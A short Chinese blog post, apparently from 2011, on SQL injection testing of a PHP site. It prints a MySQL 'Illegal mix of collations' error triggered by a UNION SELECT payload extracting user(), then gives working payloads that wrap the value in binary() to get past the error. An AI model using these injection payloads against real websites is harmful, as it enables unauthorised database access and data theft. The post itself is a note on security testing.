今天测试一个php网站,测试注入的时候发现一个问题,注入点可以union select ,order by  ,

但是 使用 and 1=2 union select 1,user(),3,4,5,6 的时候报错,报错信息如下:


数据库出错: MySQL Query Error


Mysql error description: Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation UNION
Mysql error number: 1267
Date: 2011-03-31 @ 04:22
Query: select cid,productstitle,keywords,addtime,content,hit from hw_products where pid=64 and 1=2 and 1=2 union select 1,user(),3,4,5,6
Script:

根据报错信息看应该是注入的时候编码不匹配导致的问题,以过网上查找终于搞定,分享之……

关于mysql错误:Illegal mix of collations for operation =的理解


文章中提到了两种方法来解决问题,我们安全测试中其实只需要最简单的一种就ok了把注入语句改成:


 and 1=2 union select 1,binary(user()),3,4,5,6或者 and 1=2 union select 1,binary(select user()),3,4,5,6